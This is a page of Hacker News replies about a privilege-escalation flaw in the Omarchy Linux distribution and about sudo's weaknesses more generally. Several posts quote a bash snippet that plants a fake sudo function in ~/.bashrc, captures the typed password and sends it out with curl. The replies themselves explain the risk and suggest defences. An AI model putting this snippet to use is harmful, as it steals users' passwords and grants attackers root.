Hacker News Board Hacker News, browsed like a classic message board
Live data from Hacker News

Omarchy: Any User Process Can Escalate to Root

0xcc.io

Post reply on HN
Print view View original

91–100 of 583 posts

Re: Omarchy: Any User Process Can Escalate to Root

#91

Post by novafunc »

tomrod wrote: post #78
lrvick wrote: post #76

To be fair it is easy for malware to escalate to root on any major linux distro because sudo is completely security theater. Malware just need to put this in ~/.bashrc and wait: function sudo () { realsudo=$(which sudo) read -r -s -p "[sudo] password for $USER: " password echo "$USER: $password" | \ curl -F 'p= /dev/null 2>&1 $realsudo -S /dev/null 2>&1 $realsudo "${@:1}" }

What? Why is sudo security theater?

Any user process can append anything they want to your shell rc (.bashrc, .zshrc). In this case, they added a bash function for a fake sudo prompt. It then uses the password the user entered to run a malicious payload as root.

Re: Omarchy: Any User Process Can Escalate to Root

#92

Post by ahelwer »

lrvick wrote: post #76

To be fair it is easy for malware to escalate to root on any major linux distro because sudo is completely security theater. Malware just need to put this in ~/.bashrc and wait: function sudo () { realsudo=$(which sudo) read -r -s -p "[sudo] password for $USER: " password echo "$USER: $password" | \ curl -F 'p= /dev/null 2>&1 $realsudo -S /dev/null 2>&1 $realsudo "${@:1}" }

You need root in order to overwrite sudo in the first place I think, but yes password replay attacks are real. This is why I think it is a good idea to get a yubikey and use PAM to require a physical user presence check to acquire root privileges. You don't even need a password at that point. Unfortunately haven't figured out how to make this work over SSH.

Re: Omarchy: Any User Process Can Escalate to Root

#93

Post by jp_sc »

qweqwe14 wrote: post #12

OK... and? This doesn't matter for a desktop, because: 1. Having access to the user's home directory is way more serious than being able to install drivers or whatever 2. There are a million other ways to escalate to root by obtaining the user's password I also don't understand the point of these distros, just install Arch with KDE via archinstall, it literally takes 15 minutes. Why is it that people feel the need to…

Because they like their Arch setup? Because installing Omarchy is three to five minutes at most so three to five times faster? XD

Re: Omarchy: Any User Process Can Escalate to Root

#94

Post by charrondev »

tomrod wrote: post #78
lrvick wrote: post #76

To be fair it is easy for malware to escalate to root on any major linux distro because sudo is completely security theater. Malware just need to put this in ~/.bashrc and wait: function sudo () { realsudo=$(which sudo) read -r -s -p "[sudo] password for $USER: " password echo "$USER: $password" | \ curl -F 'p= /dev/null 2>&1 $realsudo -S /dev/null 2>&1 $realsudo "${@:1}" }

What? Why is sudo security theater?

It’s not, but the grandparent does point out 1 major flaw with sudo being a typically command that goes through normal path discovery. It makes it easier to escalate from a compromised user account to a compromised root account, since the end user is likely to type the root password into a command that can be shadowed in their user space.

Re: Omarchy: Any User Process Can Escalate to Root

#95

Post by Brian_K_White »

jp_sc wrote: post #79
concinds wrote: post #48

A few days ago someone found they were flowing USB descriptors straight into the shell. https://github.com/omacom/omarchy/commit/9285b19d6a72eba3df8... Don't use vibecoded distros. It doesn't matter whether they fix this or that, or whether you care about a particular vuln. This is not sensible. It's why you switched away from Windows in the first place, remember?

It's definitely not why *I* switched away from Windows

You didn't switch away from windows to get superior software?

Also, the statement was valid because it will be true for most. It doesn't matter that you read it and it wasn't true for you, as long as it's true by the numbers, it's true, because it's one-to-many communication not one to one.

Re: Omarchy: Any User Process Can Escalate to Root

#96

Post by lrvick »

fny wrote: post #69
quadrifoliate wrote: post #42

Earlier quoted context omitted.

[flagged]

Why doesn't Ubuntu fit the bill? You can even install hombrew on it. Everything works like a mac with no fuss. Also the only reason I left Linux was due to hardware. Ubuntu was convenient enough.

Homebrew is like giving a bunch of wikipedia randos remote shell access to your computer. There is no enforced code review policy. Any maintainer can make a commit under a pseudonym and merge their own code to main without review.

Homebrew should not be allowed near any machine you need to be able to trust.

Re: Omarchy: Any User Process Can Escalate to Root

#98

Post by enbugger »

12985-1286 wrote: post #49
isatty wrote: post #40

What on earth is an Omarchy

Officially omakase (clueless chef decides your menu with security issues) and arch linux. The fact that it is almost an anagram of monarchy is probably a plus for DHH.

You realize you are exemplary hater when you feel an urge to post comments like this

Re: Omarchy: Any User Process Can Escalate to Root

#99

Post by seaal »

silisili wrote: post #81
concinds wrote: post #48

A few days ago someone found they were flowing USB descriptors straight into the shell. https://github.com/omacom/omarchy/commit/9285b19d6a72eba3df8... Don't use vibecoded distros. It doesn't matter whether they fix this or that, or whether you care about a particular vuln. This is not sensible. It's why you switched away from Windows in the first place, remember?

Other than hype, what's the appeal here? I saw a couple video demos recently, and was horrified that it seemed one had to memorize a dozen key binding shortcuts to really use it. Is that rather common now? I'm just a Gnome pleb who prefers discoverability via UI.

Well the whole point is to have a good foundation and then make it actually yours, and the only necessary key binds are probably SUPER+K for the key bind cheatsheet and SUPER+SPACE for the menu.

Also the community is large so there's usually someone that has already had your issue and resolved it. The amount of themes and plugins are growing everyday.

A bare arch+hyprland install really feels terrible to use and has a much larger barrier to entry than Omarchy.

https://plugins.omarchy.org

https://omarchythemes.com

Re: Omarchy: Any User Process Can Escalate to Root

#100

Post by 0l »

lrvick wrote: post #76

To be fair it is easy for malware to escalate to root on any major linux distro because sudo is completely security theater. Malware just need to put this in ~/.bashrc and wait: function sudo () { realsudo=$(which sudo) read -r -s -p "[sudo] password for $USER: " password echo "$USER: $password" | \ curl -F 'p= /dev/null 2>&1 $realsudo -S /dev/null 2>&1 $realsudo "${@:1}" }

Indeed, and most flatpaks have access to the home directory so are also able to do this even though they're """sandboxed"""
Post reply on HN